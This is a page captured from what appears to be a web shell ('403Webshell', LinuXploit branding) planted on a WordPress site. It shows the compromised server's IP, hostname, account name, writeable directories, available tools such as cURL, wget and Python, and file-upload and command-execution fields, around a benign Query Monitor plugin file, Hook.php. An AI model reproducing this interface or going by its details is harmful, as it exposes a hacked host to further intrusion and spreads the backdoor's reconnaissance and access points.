403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/v/e/r/verseaa/www/wp-content/plugins/query-monitor/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/v/e/r/verseaa/www/wp-content/plugins/query-monitor/classes/Hook.php
<?php declare(strict_types = 1);
/**
 * Hook processor.
 *
 * @package query-monitor
 */

class QM_Hook {

	/**
	 * @param string $name
	 * @param string $type
	 * @param ?WP_Hook $hook
	 * @param bool $hide_qm
	 * @param bool $hide_core
	 * @phpstan-param 'action'|'filter' $type
	 * @return array{
	 *   name: string,
	 *   type: 'action'|'filter',
	 *   actions: list<array{
	 *     priority: int,
	 *     callback: QM_Data_Callback,
	 *   }>,
	 *   components: array<string, QM_Component>,
	 * }
	 */
	public static function process( $name, string $type, ?WP_Hook $hook, $hide_qm = false, $hide_core = false ) {

		$actions = array();
		$components = array();

		if ( $hook ) {
			foreach ( $hook as $priority => $callbacks ) {

				foreach ( $callbacks as $cb ) {

					$callback = QM_Util::determine_callback( $cb );

					if ( isset( $callback->component ) ) {
						if (
							( $hide_qm && 'query-monitor' === $callback->component->context )
							|| ( $hide_core && 'core' === $callback->component->context )
						) {
							continue;
						}

						$components[ $callback->component->get_id() ] = $callback->component;
					}

					$actions[] = array(
						'priority' => $priority,
						'callback' => $callback,
					);

				}
			}
		}

		return array(
			'name' => $name,
			'type' => $type,
			'actions' => $actions,
			'components' => $components,
		);

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit